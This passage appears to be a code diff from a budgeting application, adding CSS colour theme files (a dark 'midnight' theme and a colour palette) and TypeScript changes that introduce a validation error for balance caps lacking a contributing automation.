--color-menuAutoCompleteBackgroundHover: var(--palette-navy600);
|
||||
--color-menuAutoCompleteText: var(--palette-white);
|
||||
--color-menuAutoCompleteTextHover: var(--palette-green150);
|
||||
--color-menuAutoCompleteTextHeader: var(--palette-orange150);
|
||||
--color-menuAutoCompleteItemTextHover: var(--color-menuAutoCompleteText);
|
||||
--color-menuAutoCompleteItemText: var(--color-menuAutoCompleteText);
|
||||
|
||||
--color-modalBackground: var(--palette-white);
|
||||
--color-modalBorder: var(--palette-white);
|
||||
--color-mobileHeaderBackground: var(--palette-purple400);
|
||||
--color-mobileHeaderText: var(--palette-navy50);
|
||||
--color-mobileHeaderTextSubdued: var(--palette-gray200);
|
||||
--color-mobileHeaderTextHover: rgba(200, 200, 200, 0.15);
|
||||
--color-mobilePageBackground: var(--palette-navy50);
|
||||
--color-mobileNavBackground: var(--palette-white);
|
||||
--color-mobileNavItem: var(--palette-gray300);
|
||||
--color-mobileNavItemSelected: var(--palette-purple500);
|
||||
--color-mobileAccountShadow: var(--palette-navy300);
|
||||
--color-mobileAccountText: var(--palette-blue800);
|
||||
--color-mobileTransactionSelected: var(--palette-purple500);
|
||||
|
||||
--color-mobileViewTheme: var(--color-mobileHeaderBackground);
|
||||
--color-mobileConfigServerViewTheme: var(--palette-purple500);
|
||||
|
||||
--color-markdownNormal: var(--palette-purple150);
|
||||
--color-markdownDark: var(--palette-purple400);
|
||||
--color-markdownLight: var(--palette-purple100);
|
||||
|
||||
--color-buttonMenuText: var(--palette-navy100);
|
||||
--color-buttonMenuTextHover: var(--palette-navy50);
|
||||
--color-buttonMenuBackground: transparent;
|
||||
--color-buttonMenuBackgroundHover: rgba(200, 200, 200, 0.25);
|
||||
--color-buttonMenuBorder: var(--palette-navy500);
|
||||
--color-buttonMenuSelectedText: var(--palette-green800);
|
||||
--color-buttonMenuSelectedTextHover: var(--palette-orange800);
|
||||
--color-buttonMenuSelectedBackground: var(--palette-orange200);
|
||||
--color-buttonMenuSelectedBackgroundHover: var(--palette-orange300);
|
||||
--color-buttonMenuSelectedBorder: var(--color-buttonMenuSelectedBackground);
|
||||
|
||||
--color-buttonPrimaryText: var(--palette-white);
|
||||
--color-buttonPrimaryTextHover: var(--color-buttonPrimaryText);
|
||||
--color-buttonPrimaryBackground: var(--palette-purple500);
|
||||
--color-buttonPrimaryBackgroundHover: var(--palette-purple300);
|
||||
--color-buttonPrimaryBorder: var(--color-buttonPrimaryBackground);
|
||||
--color-buttonPrimaryShadow: rgba(0, 0, 0, 0.3);
|
||||
--color-buttonPrimaryDisabledText: var(--palette-white);
|
||||
--color-buttonPrimaryDisabledBackground: var(--palette-navy300);
|
||||
--color-buttonPrimaryDisabledBorder: var(
|
||||
--color-buttonPrimaryDisabledBackground
|
||||
);
|
||||
|
||||
--color-buttonNormalText: var(--palette-navy900);
|
||||
--color-buttonNormalTextHover: var(--color-buttonNormalText);
|
||||
--color-buttonNormalBackground: var(--palette-white);
|
||||
--color-buttonNormalBackgroundHover: var(--color-buttonNormalBackground);
|
||||
--color-buttonNormalBorder: var(--palette-navy150);
|
||||
--color-buttonNormalShadow: rgba(0, 0, 0, 0.2);
|
||||
--color-buttonNormalSelectedText: var(--palette-white);
|
||||
--color-buttonNormalSelectedBackground: var(--palette-blue600);
|
||||
--color-buttonNormalDisabledText: var(--palette-navy300);
|
||||
--color-buttonNormalDisabledBackground: var(--color-buttonNormalBackground);
|
||||
--color-buttonNormalDisabledBorder: var(--color-buttonNormalBorder);
|
||||
|
||||
--color-calendarText: var(--palette-navy50);
|
||||
--color-calendarBackground: var(--palette-navy900);
|
||||
--color-calendarItemText: var(--palette-navy150);
|
||||
--color-calendarItemBackground: var(--palette-navy800);
|
||||
--color-calendarSelectedBackground: var(--palette-navy500);
|
||||
|
||||
--color-buttonBareText: var(--color-buttonNormalText);
|
||||
--color-buttonBareTextHover: var(--color-buttonNormalText);
|
||||
--color-buttonBareBackground: transparent;
|
||||
--color-buttonBareBackgroundHover: rgba(100, 100, 100, 0.15);
|
||||
--color-buttonBareBackgroundActive: rgba(100, 100, 100, 0.25);
|
||||
--color-buttonBareDisabledText: var(--color-buttonNormalDisabledText);
|
||||
--color-buttonBareDisabledBackground: var(--color-buttonBareBackground);
|
||||
|
||||
--color-noticeBackground: var(--palette-green150);
|
||||
--color-noticeBackgroundLight: var(--palette-green100);
|
||||
--color-noticeBackgroundDark: var(--palette-green500);
|
||||
--color-noticeText: var(--palette-green700);
|
||||
--color-noticeTextLight: var(--palette-green500);
|
||||
--color-noticeTextDark: var(--palette-green900);
|
||||
--color-noticeTextMenu: var(--palette-green200);
|
||||
--color-noticeBorder: var(--palette-green500);
|
||||
--color-warningBackground: var(--palette-orange200);
|
||||
--color-warningText: var(--palette-orange700);
|
||||
--color-warningTextLight: var(--palette-orange500);
|
||||
--color-warningTextDark: var(--palette-orange900);
|
||||
--color-warningBorder: var(--palette-orange500);
|
||||
--color-errorBackground: var(--palette-red100);
|
||||
--color-errorText: var(--palette-red500);
|
||||
--color-errorTextDark: var(--palette-red700);
|
||||
--color-errorTextDarker: var(--palette-red900);
|
||||
--color-errorTextMenu: var(--palette-red200);
|
||||
--color-errorBorder: var(--palette-red500);
|
||||
--color-upcomingBackground: var(--palette-purple100);
|
||||
--color-upcomingText: var(--palette-purple700);
|
||||
--color-upcomingBorder: var(--palette-purple500);
|
||||
|
||||
--color-formLabelText: var(--palette-blue600);
|
||||
--color-formLabelBackground: var(--palette-blue200);
|
||||
--color-formInputBackground: var(--palette-navy50);
|
||||
--color-formInputBackgroundSelected: var(--palette-white);
|
||||
--color-formInputBackgroundSelection: var(--palette-purple500);
|
||||
--color-formInputBorder: var(--palette-navy150);
|
||||
--color-formInputTextReadOnlySelection: var(--palette-navy50);
|
||||
--color-formInputBorderSelected: var(--palette-purple500);
|
||||
--color-formInputText: var(--palette-navy900);
|
||||
--color-formInputTextSelected: var(--palette-navy50);
|
||||
--color-formInputTextPlaceholder: var(--palette-navy300);
|
||||
--color-formInputTextPlaceholderSelected: var(--palette-navy200);
|
||||
--color-formInputTextSelection: var(--palette-navy100);
|
||||
--color-formInputShadowSelected: var(--palette-purple300);
|
||||
--color-formInputTextHighlight: var(--palette-purple200);
|
||||
--color-checkboxText: var(--color-tableBackground);
|
||||
--color-checkboxBackgroundSelected: var(--palette-blue500);
|
||||
--color-checkboxBorderSelected: var(--palette-blue500);
|
||||
--color-checkboxShadowSelected: var(--palette-blue300);
|
||||
--color-checkboxToggleBackground: var(--palette-gray400);
|
||||
--color-checkboxToggleBackgroundSelected: var(--palette-purple600);
|
||||
--color-checkboxToggleDisabled: var(--palette-gray200);
|
||||
|
||||
--color-pillBackground: var(--palette-navy150);
|
||||
--color-pillBackgroundLight: var(--palette-navy50);
|
||||
--color-pillText: var(--palette-navy800);
|
||||
--color-pillTextHighlighted: var(--palette-purple600);
|
||||
--color-pillBorder: var(--palette-navy150);
|
||||
--color-pillBorderDark: var(--palette-navy300);
|
||||
--color-pillBackgroundSelected: var(--palette-blue150);
|
||||
--color-pillTextSelected: var(--palette-blue900);
|
||||
--color-pillBorderSelected: var(--palette-purple500);
|
||||
--color-pillTextSubdued: var(--palette-navy200);
|
||||
|
||||
--color-reportsRed: var(--palette-red300);
|
||||
--color-reportsBlue: var(--palette-blue400);
|
||||
--color-reportsGreen: var(--palette-green400);
|
||||
--color-reportsGray: var(--palette-gray400);
|
||||
--color-reportsLabel: var(--palette-navy900);
|
||||
--color-reportsInnerLabel: var(--palette-navy800);
|
||||
--color-reportsNumberPositive: var(--color-numberPositive);
|
||||
--color-reportsNumberNegative: var(--color-numberNegative);
|
||||
--color-reportsNumberNeutral: var(--color-numberNeutral);
|
||||
--color-reportsChartFill: var(--color-reportsNumberPositive);
|
||||
|
||||
--color-noteTagBackground: var(--palette-purple125);
|
||||
--color-noteTagBackgroundHover: var(--palette-purple150);
|
||||
--color-noteTagDefault: var(--palette-purple125);
|
||||
--color-noteTagText: var(--palette-black);
|
||||
|
||||
--color-budgetCurrentMonth: var(--color-tableBackground);
|
||||
--color-budgetOtherMonth: var(--palette-gray50);
|
||||
--color-budgetHeaderCurrentMonth: var(--color-budgetOtherMonth);
|
||||
--color-budgetHeaderOtherMonth: var(--palette-gray80);
|
||||
|
||||
--color-floatingActionBarBackground: var(--palette-purple400);
|
||||
--color-floatingActionBarBorder: var(--color-floatingActionBarBackground);
|
||||
--color-floatingActionBarText: var(--palette-navy50);
|
||||
|
||||
--color-tooltipText: var(--palette-navy900);
|
||||
--color-tooltipBackground: var(--palette-white);
|
||||
--color-tooltipBorder: var(--palette-navy150);
|
||||
|
||||
--color-calendarCellBackground: var(--palette-navy100);
|
||||
|
||||
--color-overlayBackground: rgba(0, 0, 0, 0.3);
|
||||
|
||||
--color-chartQual1: var(--palette-chartQual1);
|
||||
--color-chartQual2: var(--palette-chartQual2);
|
||||
--color-chartQual3: var(--palette-chartQual3);
|
||||
--color-chartQual4: var(--palette-chartQual4);
|
||||
--color-chartQual5: var(--palette-chartQual5);
|
||||
--color-chartQual6: var(--palette-chartQual6);
|
||||
--color-chartQual7: var(--palette-chartQual7);
|
||||
--color-chartQual8: var(--palette-chartQual8);
|
||||
--color-chartQual9: var(--palette-chartQual9);
|
||||
}
|
||||
252
packages/component-library/src/themes/midnight.css
Normal file
@@ -0,0 +1,252 @@
|
||||
:root {
|
||||
--color-pageBackground: var(--palette-gray600);
|
||||
--color-pageBackgroundModalActive: var(--palette-gray700);
|
||||
--color-pageBackgroundTopLeft: var(--palette-gray800);
|
||||
--color-pageBackgroundBottomRight: var(--palette-gray700);
|
||||
--color-pageBackgroundLineTop: var(--palette-purple300);
|
||||
--color-pageBackgroundLineMid: var(--palette-gray900);
|
||||
--color-pageBackgroundLineBottom: var(--palette-gray150);
|
||||
--color-pageText: var(--palette-gray100);
|
||||
--color-pageTextLight: var(--palette-gray200);
|
||||
--color-pageTextSubdued: var(--palette-gray400);
|
||||
--color-pageTextDark: var(--palette-gray100);
|
||||
--color-pageTextPositive: var(--palette-purple200);
|
||||
--color-pageTextLink: var(--palette-purple300);
|
||||
--color-pageTextLinkLight: var(--palette-purple300);
|
||||
|
||||
--color-cardBackground: var(--palette-gray800);
|
||||
--color-cardBorder: var(--palette-purple300);
|
||||
--color-cardShadow: var(--palette-gray900);
|
||||
|
||||
--color-tableBackground: var(--palette-gray800);
|
||||
--color-tableRowBackgroundHover: var(--palette-gray500);
|
||||
--color-tableText: var(--palette-gray150);
|
||||
--color-tableTextLight: var(--color-tableText);
|
||||
--color-tableTextSubdued: var(--palette-gray500);
|
||||
--color-tableTextSelected: var(--palette-gray800);
|
||||
--color-tableTextHover: var(--palette-gray400);
|
||||
--color-tableTextInactive: var(--palette-gray400);
|
||||
--color-tableHeaderText: var(--palette-gray200);
|
||||
--color-tableHeaderBackground: var(--palette-gray900);
|
||||
--color-tableBorder: var(--palette-gray600);
|
||||
--color-tableBorderSelected: var(--palette-purple400);
|
||||
--color-tableBorderHover: var(--palette-purple300);
|
||||
--color-tableBorderSeparator: var(--palette-gray400);
|
||||
--color-tableRowBackgroundHighlight: var(--palette-purple150);
|
||||
--color-tableRowBackgroundHighlightText: var(--palette-gray800);
|
||||
--color-tableRowHeaderBackground: var(--palette-gray700);
|
||||
--color-tableRowHeaderText: var(--palette-gray150);
|
||||
|
||||
--color-numberPositive: var(--palette-green300);
|
||||
--color-numberNegative: var(--palette-red200);
|
||||
--color-numberNeutral: var(--palette-gray500);
|
||||
--color-budgetNumberNegative: var(--color-numberNegative);
|
||||
--color-budgetNumberZero: var(--color-tableTextSubdued);
|
||||
--color-budgetNumberNeutral: var(--color-tableText);
|
||||
--color-budgetNumberPositive: var(--color-budgetNumberNeutral);
|
||||
--color-templateNumberFunded: var(--color-numberPositive);
|
||||
--color-templateNumberUnderFunded: var(--palette-orange200);
|
||||
--color-toBudgetPositive: var(--color-numberPositive);
|
||||
--color-toBudgetZero: var(--color-numberPositive);
|
||||
--color-toBudgetNegative: var(--color-budgetNumberNegative);
|
||||
|
||||
--color-sidebarBackground: var(--palette-gray900);
|
||||
--color-sidebarItemBackgroundPending: var(--palette-orange200);
|
||||
--color-sidebarItemBackgroundPositive: var(--palette-green400);
|
||||
--color-sidebarItemBackgroundFailed: var(--palette-red300);
|
||||
--color-sidebarItemAccentSelected: var(--palette-purple200);
|
||||
--color-sidebarItemBackgroundHover: var(--palette-gray700);
|
||||
--color-sidebarItemText: var(--palette-gray100);
|
||||
--color-sidebarItemTextSelected: var(--palette-purple200);
|
||||
--color-sidebarBudgetName: var(--palette-gray300);
|
||||
|
||||
--color-menuBackground: var(--palette-gray700);
|
||||
--color-menuItemBackground: var(--palette-gray200);
|
||||
--color-menuItemBackgroundHover: var(--palette-gray500);
|
||||
--color-menuItemText: var(--palette-gray100);
|
||||
--color-menuItemTextHover: var(--palette-gray50);
|
||||
--color-menuItemTextSelected: var(--palette-purple400);
|
||||
--color-menuItemTextHeader: var(--palette-purple200);
|
||||
--color-menuBorder: var(--palette-gray800);
|
||||
--color-menuBorderHover: var(--palette-purple300);
|
||||
--color-menuKeybindingText: var(--palette-purple200);
|
||||
--color-menuAutoCompleteBackground: var(--palette-gray600);
|
||||
--color-menuAutoCompleteBackgroundHover: var(--palette-gray500);
|
||||
--color-menuAutoCompleteText: var(--palette-gray100);
|
||||
--color-menuAutoCompleteTextHover: var(--palette-green400);
|
||||
--color-menuAutoCompleteTextHeader: var(--palette-purple200);
|
||||
--color-menuAutoCompleteItemTextHover: var(--palette-gray50);
|
||||
--color-menuAutoCompleteItemText: var(--color-menuItemText);
|
||||
--color-modalBackground: var(--palette-gray700);
|
||||
--color-modalBorder: var(--palette-gray200);
|
||||
--color-mobileHeaderBackground: var(--palette-gray900);
|
||||
--color-mobileHeaderText: var(--palette-purple200);
|
||||
--color-mobileHeaderTextSubdued: var(--palette-gray200);
|
||||
--color-mobileHeaderTextHover: rgba(200, 200, 200, 0.15);
|
||||
--color-mobilePageBackground: var(--palette-gray900);
|
||||
--color-mobileNavBackground: var(--palette-gray600);
|
||||
--color-mobileNavItem: var(--palette-gray150);
|
||||
--color-mobileNavItemSelected: var(--palette-purple200);
|
||||
--color-mobileAccountShadow: var(--color-cardShadow);
|
||||
--color-mobileAccountText: var(--palette-blue800);
|
||||
--color-mobileTransactionSelected: var(--palette-purple300);
|
||||
|
||||
--color-mobileViewTheme: var(--color-mobileHeaderBackground);
|
||||
--color-mobileConfigServerViewTheme: var(--palette-purple500);
|
||||
|
||||
--color-markdownNormal: var(--palette-purple700);
|
||||
--color-markdownDark: var(--palette-purple500);
|
||||
--color-markdownLight: var(--palette-purple800);
|
||||
|
||||
--color-buttonMenuText: var(--palette-gray200);
|
||||
--color-buttonMenuTextHover: var(--color-buttonMenuText);
|
||||
--color-buttonMenuBackground: var(--palette-gray700);
|
||||
--color-buttonMenuBackgroundHover: rgba(200, 200, 200, 0.25);
|
||||
--color-buttonMenuBorder: var(--palette-gray500);
|
||||
--color-buttonMenuSelectedText: var(--palette-green800);
|
||||
--color-buttonMenuSelectedTextHover: var(--palette-orange800);
|
||||
--color-buttonMenuSelectedBackground: var(--palette-orange200);
|
||||
--color-buttonMenuSelectedBackgroundHover: var(--palette-gray300);
|
||||
--color-buttonMenuSelectedBorder: var(--color-buttonMenuSelectedBackground);
|
||||
|
||||
--color-buttonPrimaryText: var(--palette-white);
|
||||
--color-buttonPrimaryTextHover: var(--color-buttonPrimaryText);
|
||||
--color-buttonPrimaryBackground: var(--palette-purple300);
|
||||
--color-buttonPrimaryBackgroundHover: var(--color-buttonPrimaryBackground);
|
||||
--color-buttonPrimaryBorder: var(--color-buttonPrimaryBackground);
|
||||
--color-buttonPrimaryShadow: rgba(0, 0, 0, 0.6);
|
||||
--color-buttonPrimaryDisabledText: var(--palette-gray400);
|
||||
--color-buttonPrimaryDisabledBackground: var(--palette-gray700);
|
||||
--color-buttonPrimaryDisabledBorder: var(
|
||||
--color-buttonPrimaryDisabledBackground
|
||||
);
|
||||
|
||||
--color-buttonNormalText: var(--palette-gray150);
|
||||
--color-buttonNormalTextHover: var(--palette-gray150);
|
||||
--color-buttonNormalBackground: var(--palette-gray600);
|
||||
--color-buttonNormalBackgroundHover: var(--palette-gray400);
|
||||
--color-buttonNormalBorder: var(--palette-gray300);
|
||||
--color-buttonNormalShadow: rgba(0, 0, 0, 0.4);
|
||||
--color-buttonNormalSelectedText: var(--palette-white);
|
||||
--color-buttonNormalSelectedBackground: var(--palette-purple500);
|
||||
--color-buttonNormalDisabledText: var(--palette-gray400);
|
||||
--color-buttonNormalDisabledBackground: var(--palette-gray700);
|
||||
--color-buttonNormalDisabledBorder: var(--palette-gray500);
|
||||
|
||||
--color-calendarText: var(--palette-gray50);
|
||||
--color-calendarBackground: var(--palette-gray700);
|
||||
--color-calendarItemText: var(--palette-gray150);
|
||||
--color-calendarItemBackground: var(--palette-gray500);
|
||||
--color-calendarSelectedBackground: var(
|
||||
--color-buttonNormalSelectedBackground
|
||||
);
|
||||
|
||||
--color-buttonBareText: var(--color-buttonNormalText);
|
||||
--color-buttonBareTextHover: var(--color-buttonNormalText);
|
||||
--color-buttonBareBackground: transparent;
|
||||
--color-buttonBareBackgroundHover: rgba(200, 200, 200, 0.3);
|
||||
--color-buttonBareBackgroundActive: rgba(200, 200, 200, 0.5);
|
||||
--color-buttonBareDisabledText: var(--color-buttonNormalDisabledText);
|
||||
--color-buttonBareDisabledBackground: var(--color-buttonBareBackground);
|
||||
|
||||
--color-noticeBackground: var(--palette-green600);
|
||||
--color-noticeBackgroundLight: var(--palette-green900);
|
||||
--color-noticeBackgroundDark: var(--palette-green400);
|
||||
--color-noticeText: var(--palette-green300);
|
||||
--color-noticeTextLight: var(--palette-green400);
|
||||
--color-noticeTextDark: var(--palette-green150);
|
||||
--color-noticeTextMenu: var(--palette-green400);
|
||||
--color-noticeTextMenuHover: var(--palette-green700);
|
||||
--color-noticeBorder: var(--palette-green800);
|
||||
--color-warningBackground: var(--palette-orange800);
|
||||
--color-warningText: var(--palette-orange200);
|
||||
--color-warningTextLight: var(--palette-orange500);
|
||||
--color-warningTextDark: var(--palette-orange100);
|
||||
--color-warningBorder: var(--palette-orange500);
|
||||
--color-errorBackground: var(--palette-red800);
|
||||
--color-errorText: var(--palette-red200);
|
||||
--color-errorTextDark: var(--palette-red150);
|
||||
--color-errorTextDarker: var(--color-errorTextDark);
|
||||
--color-errorTextMenu: var(--palette-red200);
|
||||
--color-errorBorder: var(--palette-red500);
|
||||
--color-upcomingBackground: var(--palette-purple800);
|
||||
--color-upcomingText: var(--palette-purple200);
|
||||
--color-upcomingBorder: var(--color-tableBorder);
|
||||
|
||||
--color-formLabelText: var(--palette-purple150);
|
||||
--color-formLabelBackground: var(--palette-blue900);
|
||||
--color-formInputBackground: var(--palette-gray800);
|
||||
--color-formInputBackgroundSelected: var(--palette-gray700);
|
||||
--color-formInputBackgroundSelection: var(--palette-purple400);
|
||||
--color-formInputBorder: var(--palette-gray600);
|
||||
--color-formInputTextReadOnlySelection: var(--palette-gray800);
|
||||
--color-formInputBorderSelected: var(--palette-purple300);
|
||||
--color-formInputText: var(--palette-gray150);
|
||||
--color-formInputTextSelected: var(--palette-black);
|
||||
--color-formInputTextPlaceholder: var(--palette-gray150);
|
||||
--color-formInputTextPlaceholderSelected: var(--palette-gray100);
|
||||
--color-formInputTextSelection: var(--palette-gray800);
|
||||
--color-formInputShadowSelected: var(--palette-purple400);
|
||||
--color-formInputTextHighlight: var(--palette-purple200);
|
||||
--color-checkboxText: var(--color-tableText);
|
||||
--color-checkboxBackgroundSelected: var(--palette-purple300);
|
||||
--color-checkboxBorderSelected: var(--palette-purple300);
|
||||
--color-checkboxShadowSelected: var(--palette-purple500);
|
||||
--color-checkboxToggleBackground: var(--palette-gray400);
|
||||
--color-checkboxToggleBackgroundSelected: var(--palette-purple300);
|
||||
--color-checkboxToggleDisabled: var(--palette-gray700);
|
||||
|
||||
--color-pillBackground: var(--palette-gray500);
|
||||
--color-pillBackgroundLight: var(--palette-gray900);
|
||||
--color-pillText: var(--palette-gray200);
|
||||
--color-pillTextHighlighted: var(--palette-purple200);
|
||||
--color-pillBorder: var(--palette-gray500);
|
||||
--color-pillBorderDark: var(--color-pillBorder);
|
||||
--color-pillBackgroundSelected: var(--palette-purple600);
|
||||
--color-pillTextSelected: var(--palette-gray150);
|
||||
--color-pillBorderSelected: var(--palette-purple300);
|
||||
--color-pillTextSubdued: var(--palette-gray500);
|
||||
|
||||
--color-reportsRed: var(--palette-red300);
|
||||
--color-reportsBlue: var(--palette-blue400);
|
||||
--color-reportsGreen: var(--palette-green400);
|
||||
--color-reportsGray: var(--palette-gray400);
|
||||
--color-reportsLabel: var(--color-pageText);
|
||||
--color-reportsInnerLabel: var(--palette-navy800);
|
||||
--color-reportsNumberPositive: var(--color-numberPositive);
|
||||
--color-reportsNumberNegative: var(--color-numberNegative);
|
||||
--color-reportsNumberNeutral: var(--color-numberNeutral);
|
||||
--color-reportsChartFill: var(--color-reportsNumberPositive);
|
||||
|
||||
--color-noteTagBackground: var(--palette-purple800);
|
||||
--color-noteTagBackgroundHover: var(--palette-purple600);
|
||||
--color-noteTagDefault: var(--palette-purple700);
|
||||
--color-noteTagText: var(--palette-purple100);
|
||||
|
||||
--color-budgetOtherMonth: var(--palette-gray700);
|
||||
--color-budgetCurrentMonth: var(--color-tableBackground);
|
||||
--color-budgetHeaderOtherMonth: var(--palette-gray800);
|
||||
--color-budgetHeaderCurrentMonth: var(--color-tableHeaderBackground);
|
||||
|
||||
--color-floatingActionBarBackground: var(--palette-gray900);
|
||||
--color-floatingActionBarBorder: var(--palette-purple300);
|
||||
--color-floatingActionBarText: var(--palette-purple200);
|
||||
|
||||
--color-tooltipText: var(--palette-gray100);
|
||||
--color-tooltipBackground: var(--palette-gray800);
|
||||
--color-tooltipBorder: var(--palette-gray600);
|
||||
|
||||
--color-calendarCellBackground: var(--palette-navy900);
|
||||
|
||||
--color-overlayBackground: rgba(0, 0, 0, 0.3);
|
||||
|
||||
--color-chartQual1: var(--palette-chartQual1);
|
||||
--color-chartQual2: var(--palette-chartQual2);
|
||||
--color-chartQual3: var(--palette-chartQual3);
|
||||
--color-chartQual4: var(--palette-chartQual4);
|
||||
--color-chartQual5: var(--palette-chartQual5);
|
||||
--color-chartQual6: var(--palette-chartQual6);
|
||||
--color-chartQual7: var(--palette-chartQual7);
|
||||
--color-chartQual8: var(--palette-chartQual8);
|
||||
--color-chartQual9: var(--palette-chartQual9);
|
||||
}
|
||||
103
packages/component-library/src/themes/palette.css
Normal file
@@ -0,0 +1,103 @@
|
||||
:root {
|
||||
--palette-gray50: #f6f8fa;
|
||||
--palette-gray80: #f0f4f6;
|
||||
--palette-gray100: #e8ecf0;
|
||||
--palette-gray150: #d4dae0;
|
||||
--palette-gray200: #bdc5cf;
|
||||
--palette-gray300: #98a1ae;
|
||||
--palette-gray400: #747c8b;
|
||||
--palette-gray500: #4d5768;
|
||||
--palette-gray600: #373b4a;
|
||||
--palette-gray700: #242733;
|
||||
--palette-gray800: #141520;
|
||||
--palette-gray900: #080811;
|
||||
|
||||
--palette-navy50: #f7fafc;
|
||||
--palette-navy100: #e8ecf0;
|
||||
--palette-navy150: #d9e2ec;
|
||||
--palette-navy200: #bcccdc;
|
||||
--palette-navy300: #9fb3c8;
|
||||
--palette-navy400: #829ab1;
|
||||
--palette-navy500: #627d98;
|
||||
--palette-navy600: #486581;
|
||||
--palette-navy700: #334e68;
|
||||
--palette-navy800: #243b53;
|
||||
--palette-navy900: #102a43;
|
||||
|
||||
--palette-blue50: #f5fcff;
|
||||
--palette-blue100: #e3f0ff;
|
||||
--palette-blue150: #b3d9ff;
|
||||
--palette-blue200: #8bcafd;
|
||||
--palette-blue300: #66b5fa;
|
||||
--palette-blue400: #40a5f7;
|
||||
--palette-blue500: #2b8fed;
|
||||
--palette-blue600: #1980d4;
|
||||
--palette-blue700: #1271bf;
|
||||
--palette-blue800: #0b5fa3;
|
||||
--palette-blue900: #034388;
|
||||
|
||||
--palette-green50: #fafffd;
|
||||
--palette-green100: #effcf6;
|
||||
--palette-green150: #c6f7e2;
|
||||
--palette-green200: #8eedc7;
|
||||
--palette-green300: #65d6ad;
|
||||
--palette-green400: #3ebd93;
|
||||
--palette-green500: #27ab83;
|
||||
--palette-green600: #199473;
|
||||
--palette-green700: #147d64;
|
||||
--palette-green800: #0c6b58;
|
||||
--palette-green900: #014d40;
|
||||
|
||||
--palette-orange50: #fffefa;
|
||||
--palette-orange100: #fffbea;
|
||||
--palette-orange150: #fff7c4;
|
||||
--palette-orange200: #fcf088;
|
||||
--palette-orange300: #f5e35d;
|
||||
--palette-orange400: #f2d047;
|
||||
--palette-orange500: #e6bb20;
|
||||
--palette-orange600: #d4a31c;
|
||||
--palette-orange700: #b88115;
|
||||
--palette-orange800: #87540d;
|
||||
--palette-orange900: #733309;
|
||||
|
||||
--palette-red50: #fff1f1;
|
||||
--palette-red100: #ffe3e3;
|
||||
--palette-red150: #ffbdbd;
|
||||
--palette-red200: #ff9b9b;
|
||||
--palette-red300: #f86a6a;
|
||||
--palette-red400: #ef4e4e;
|
||||
--palette-red500: #e12d39;
|
||||
--palette-red600: #cf1124;
|
||||
--palette-red700: #ab091e;
|
||||
--palette-red800: #8a041a;
|
||||
--palette-red900: #610316;
|
||||
|
||||
--palette-purple50: #f9f6fe;
|
||||
--palette-purple100: #f2ebfe;
|
||||
--palette-purple125: #e4d4ff;
|
||||
--palette-purple150: #dac4ff;
|
||||
--palette-purple200: #b990ff;
|
||||
--palette-purple300: #a368fc;
|
||||
--palette-purple400: #9446ed;
|
||||
--palette-purple500: #8719e0;
|
||||
--palette-purple600: #7a0ecc;
|
||||
--palette-purple700: #690cb0;
|
||||
--palette-purple800: #580a94;
|
||||
--palette-purple900: #44056e;
|
||||
|
||||
--palette-white: #ffffff;
|
||||
--palette-black: #000000;
|
||||
--palette-hover: #fafafa;
|
||||
--palette-border: #e8ecf0;
|
||||
--palette-selected: #b3d9ff;
|
||||
|
||||
--palette-chartQual1: #45b29d;
|
||||
--palette-chartQual2: #efc94c;
|
||||
--palette-chartQual3: #e27a3f;
|
||||
--palette-chartQual4: #df5a49;
|
||||
--palette-chartQual5: #5f91b8;
|
||||
--palette-chartQual6: #e2a37f;
|
||||
--palette-chartQual7: #55dbc1;
|
||||
--palette-chartQual8: #efda97;
|
||||
--palette-chartQual9: #df948a;
|
||||
}
|
||||
|
Before Width: | Height: | Size: 87 KiB After Width: | Height: | Size: 87 KiB |
|
Before Width: | Height: | Size: 88 KiB After Width: | Height: | Size: 88 KiB |
|
Before Width: | Height: | Size: 87 KiB After Width: | Height: | Size: 87 KiB |
|
Before Width: | Height: | Size: 84 KiB After Width: | Height: | Size: 84 KiB |
|
Before Width: | Height: | Size: 84 KiB After Width: | Height: | Size: 84 KiB |
|
Before Width: | Height: | Size: 83 KiB After Width: | Height: | Size: 83 KiB |
@@ -193,7 +193,7 @@ export function BalanceWithCarryover({
|
||||
<div>
|
||||
{
|
||||
{
|
||||
type: longGoalValue === 1 ? t('Long') : t('Template'),
|
||||
type: longGoalValue === 1 ? t('Goal') : t('Automation'),
|
||||
} as TransObjectLiteral
|
||||
}
|
||||
</div>
|
||||
|
||||
@@ -19,6 +19,8 @@ export function AutomationErrorTitle({
|
||||
return <Trans>Schedule not found</Trans>;
|
||||
case 'refill-no-cap':
|
||||
return <Trans>Refill needs a balance cap</Trans>;
|
||||
case 'limit-no-contributor':
|
||||
return <Trans>Balance cap needs a contributing automation</Trans>;
|
||||
case 'percentage-out-of-range':
|
||||
return <Trans>Percentage out of range</Trans>;
|
||||
case 'percentage-no-source':
|
||||
@@ -53,7 +55,9 @@ export function AutomationErrorShort({
|
||||
<Trans>Pick a schedule</Trans>
|
||||
);
|
||||
case 'refill-no-cap':
|
||||
return <Trans>Add a balance cap above</Trans>;
|
||||
return <Trans>Add a balance cap</Trans>;
|
||||
case 'limit-no-contributor':
|
||||
return <Trans>Add an automation that contributes funds</Trans>;
|
||||
case 'percentage-out-of-range':
|
||||
return (
|
||||
<Trans>{{ percent: error.percent }}% must be between 0 and 100</Trans>
|
||||
@@ -100,6 +104,14 @@ export function AutomationErrorDetail({
|
||||
added to use as the target.
|
||||
</Trans>
|
||||
);
|
||||
case 'limit-no-contributor':
|
||||
return (
|
||||
<Trans>
|
||||
A balance cap on its own does nothing. Add a contributing automation
|
||||
(such as a fixed amount, save by date, or whatever is left) so the cap
|
||||
has something to clamp.
|
||||
</Trans>
|
||||
);
|
||||
case 'percentage-out-of-range':
|
||||
return <Trans>Set a value greater than 0% and at most 100%.</Trans>;
|
||||
case 'percentage-no-source':
|
||||
|
||||
@@ -38,7 +38,7 @@ export function getDisplayTemplateMeta(
|
||||
case 'schedule':
|
||||
return {
|
||||
label: t('Cover schedule'),
|
||||
description: t('Save up for a recurring scheduled transaction.'),
|
||||
description: t('Save up for a scheduled transaction.'),
|
||||
icon: SvgCalendar3,
|
||||
};
|
||||
case 'by':
|
||||
|
||||
@@ -7,6 +7,7 @@ import type { DisplayTemplateType } from './constants';
|
||||
export type AutomationErrorKind =
|
||||
| { kind: 'schedule-not-found'; name: string }
|
||||
| { kind: 'refill-no-cap' }
|
||||
| { kind: 'limit-no-contributor' }
|
||||
| { kind: 'percentage-out-of-range'; percent: number }
|
||||
| { kind: 'percentage-no-source' }
|
||||
| { kind: 'percentage-source-not-found'; source: string }
|
||||
@@ -48,6 +49,15 @@ export function validateAutomation(
|
||||
return { kind: 'refill-no-cap' };
|
||||
}
|
||||
return null;
|
||||
case 'limit':
|
||||
if (
|
||||
!allTemplates.some(
|
||||
